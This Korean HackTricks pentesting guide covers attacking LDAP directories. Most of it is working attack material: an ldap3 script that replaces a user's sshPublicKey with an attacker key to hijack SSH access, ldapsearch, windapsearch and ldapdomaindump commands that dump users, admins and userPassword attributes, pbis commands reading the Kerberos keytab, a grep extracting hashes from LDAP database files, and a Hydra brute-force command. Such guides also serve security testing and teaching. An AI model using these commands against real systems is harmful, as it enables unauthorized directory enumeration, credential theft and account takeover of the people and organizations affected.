389, 636, 3268, 3269 - Pentesting LDAP

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 !!

HackTricks를 지원하는 다른 방법:

LDAP (Lightweight Directory Access Protocol)의 사용은 주로 네트워크(공용 및 사설) 내의 조직, 개인, 파일 및 장치와 같은 다양한 엔티티를 찾기 위한 것입니다. 이는 이전의 DAP보다 코드 풋프린트가 작아진 것으로 비교하여 간소화된 접근 방식을 제공합니다.

LDAP 디렉터리는 여러 서버에 분산 배포되도록 구성되어 있으며, 각 서버에는 디렉토리의 복제 및 동기화된 버전이 포함되어 있습니다. 이를 Directory System Agent (DSA)라고 합니다. 요청 처리 책임은 완전히 LDAP 서버에 있으며, 필요에 따라 다른 DSAs와 통신하여 요청자에게 통합된 응답을 제공할 수 있습니다.

LDAP 디렉터리의 구성은 최상위 루트 디렉터리에서 시작하는 트리 계층 구조와 유사합니다. 이는 국가로 이어지고, 조직으로 나뉘며, 다양한 부서를 나타내는 조직 단위로 나뉘어 개인 엔티티 수준까지 이어지며, 이는 사람과 파일 및 프린터와 같은 공유 리소스를 포함합니다.

기본 포트: 389 및 636(ldaps). Global Catalog (ActiveDirectory의 LDAP)은 기본적으로 3268번 포트 및 LDAPS의 경우 3269번 포트에서 사용할 수 있습니다.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP 데이터 교환 형식

LDIF(LDAP 데이터 교환 형식)는 디렉터리 콘텐츠를 레코드 세트로 정의합니다. 또한 업데이트 요청(추가, 수정, 삭제, 이름 바꾸기)을 나타낼 수도 있습니다.

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • 첫 번째 레벨 도메인 local을 정의하는 1-3행

  • 첫 번째 레벨 도메인 moneycorp(moneycorp.local)를 정의하는 5-8행

  • dev 및 sales 두 조직 단위를 정의하는 10-16행

  • 도메인 객체를 생성하고 값과 함께 속성을 할당하는 18-26행

데이터 작성

값을 수정할 수 있다면 매우 흥미로운 작업을 수행할 수 있습니다. 예를 들어 사용자 또는 다른 사용자의 "sshPublicKey" 정보를 변경할 수 있다고 가정해보세요. 이 속성이 존재한다면 ssh가 LDAP에서 공개 키를 읽고 있을 가능성이 높습니다. 사용자의 공개 키를 수정할 수 있다면 ssh에서 비밀번호 인증이 활성화되지 않은 상태에서도 해당 사용자로 로그인할 수 있을 것입니다.

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

평문 자격 증명 가로채기

만약 LDAP가 SSL 없이 사용된다면 네트워크에서 평문으로 자격 증명을 가로챌 수 있습니다.

또한, LDAP 서버와 클라이언트 사이의 네트워크에서 MITM 공격을 수행할 수 있습니다. 여기서 다운그레이드 공격을 수행하여 클라이언트가 평문 자격 증명을 사용하여 로그인하도록 유도할 수 있습니다.

SSL을 사용하는 경우 앞에서 언급한 것처럼 MITM을 시도할 수 있지만 가짜 인증서를 제공하여 사용자가 수락하면 인증 방법을 다운그레이드하고 자격 증명을 다시 볼 수 있습니다.

익명 액세스

TLS SNI 확인 우회

이 설명서에 따르면 임의의 도메인 이름(예: company.com)으로 LDAP 서버에 액세스하면 익명 사용자로서 LDAP 서비스에 연락하고 정보를 추출할 수 있었습니다.

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP 익명 바인딩

LDAP 익명 바인딩인증되지 않은 공격자가 도메인에서 정보를 검색할 수 있게 합니다. 이는 사용자, 그룹, 컴퓨터, 사용자 계정 속성 및 도메인 암호 정책의 완전한 목록과 같은 정보를 검색할 수 있게 합니다. 이는 레거시 구성이며 Windows Server 2003부터는 인증된 사용자만 LDAP 요청을 시작할 수 있습니다. 그러나 관리자는 특정 응용 프로그램이 익명 바인딩을 허용하도록 설정해야 할 수 있으며 의도한 것보다 더 많은 액세스를 부여하여 인증되지 않은 사용자가 AD의 모든 객체에 액세스할 수 있게 할 수 있습니다.

유효한 자격 증명

LDAP 서버에 로그인할 유효한 자격 증명이 있다면 다음을 사용하여 도메인 관리자에 대한 모든 정보를 덤프할 수 있습니다:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

열거

자동화된

이를 사용하면 공개 정보 (도메인 이름 같은)을 볼 수 있습니다.

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

파이썬을 사용한 LDAP 열거 보기

파이썬을 사용하여 자격 증명을 사용하여 또는 사용하지 않고 LDAP를 열거해 볼 수 있습니다: pip3 install ldap3

먼저 자격 증명 없이 연결을 시도해보세요:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

만약 이전 예제와 같이 응답이 True인 경우, 다음에서 LDAP 서버의 흥미로운 데이터(예: 네이밍 컨텍스트 또는 도메인 이름)를 얻을 수 있습니다:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

한번 네이밍 컨텍스트를 획득하면 더 흥미로운 쿼리를 생성할 수 있습니다. 이 간단한 쿼리는 디렉터리 내의 모든 객체를 보여줍니다:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

또는 ldap 전체를 덤프하십시오:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch은 LDAP 쿼리를 활용하여 Windows 도메인에서 사용자, 그룹 및 컴퓨터를 열거하는 데 유용한 Python 스크립트입니다.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

빈 자격 증명을 확인하거나 자격 증명이 유효한지 확인하십시오:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

만약 "bind를 완료해야 합니다" 라는 메시지를 발견하면 자격 증명이 잘못되었음을 의미합니다.

다음을 사용하여 도메인에서 모든 것을 추출할 수 있습니다:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

사용자 추출:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

추출 컴퓨터:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

내 정보를 추출합니다:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

도메인 관리자를 추출합니다.

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

도메인 사용자 추출:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Enterprise Admins 추출:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

관리자를 추출합니다:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

원격 데스크톱 그룹을 추출합니다:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

다음 쿼리 중 하나를 실행한 후 grep을 사용하여 암호에 액세스할 수 있는지 확인할 수 있습니다:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

pbis

여기서 pbis를 다운로드할 수 있습니다: https://github.com/BeyondTrust/pbis-open/ 그리고 일반적으로 /opt/pbis에 설치됩니다. Pbis를 사용하면 기본 정보를 쉽게 얻을 수 있습니다:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

그래픽 사용자 인터페이스

Apache Directory

여기에서 Apache Directory를 다운로드하세요. 이 도구를 사용하는 예제는 여기에서 확인할 수 있습니다.

jxplorer

LDAP 서버와 함께 그래픽 사용자 인터페이스를 다운로드할 수 있습니다: http://www.jxplorer.org/downloads/users.html

기본적으로 설치된 위치는: /opt/jxplorer

Godap

https://github.com/Macmod/godap에서 액세스할 수 있습니다.

kerberos를 통한 인증

ldapsearch를 사용하여 NTLM 대신 kerberos에 대한 인증을 할 수 있습니다. 이를 위해 -Y GSSAPI 매개변수를 사용합니다.

POST

데이터베이스가 포함된 파일에 액세스할 수 있다면(일반적으로 _/var/lib/ldap_에 위치함), 다음을 사용하여 해시를 추출할 수 있습니다:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

구성 파일

  • 일반

  • containers.ldif

  • ldap.cfg

  • ldap.conf

  • ldap.xml

  • ldap-config.xml

  • ldap-realm.xml

  • slapd.conf

  • IBM SecureWay V3 서버

  • V3.sas.oc

  • Microsoft Active Directory 서버

  • msadClassesAttrs.ldif

  • Netscape Directory Server 4

  • nsslapd.sas_at.conf

  • nsslapd.sas_oc.conf

  • OpenLDAP 디렉터리 서버

  • slapd.sas_at.conf

  • slapd.sas_oc.conf

  • Sun ONE Directory Server 5.1

  • 75sas.ldif

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
htARTE (HackTricks AWS Red Team Expert)에서 제로부터 영웅까지 AWS 해킹 배우기!

다른 HackTricks 지원 방법:

Last updated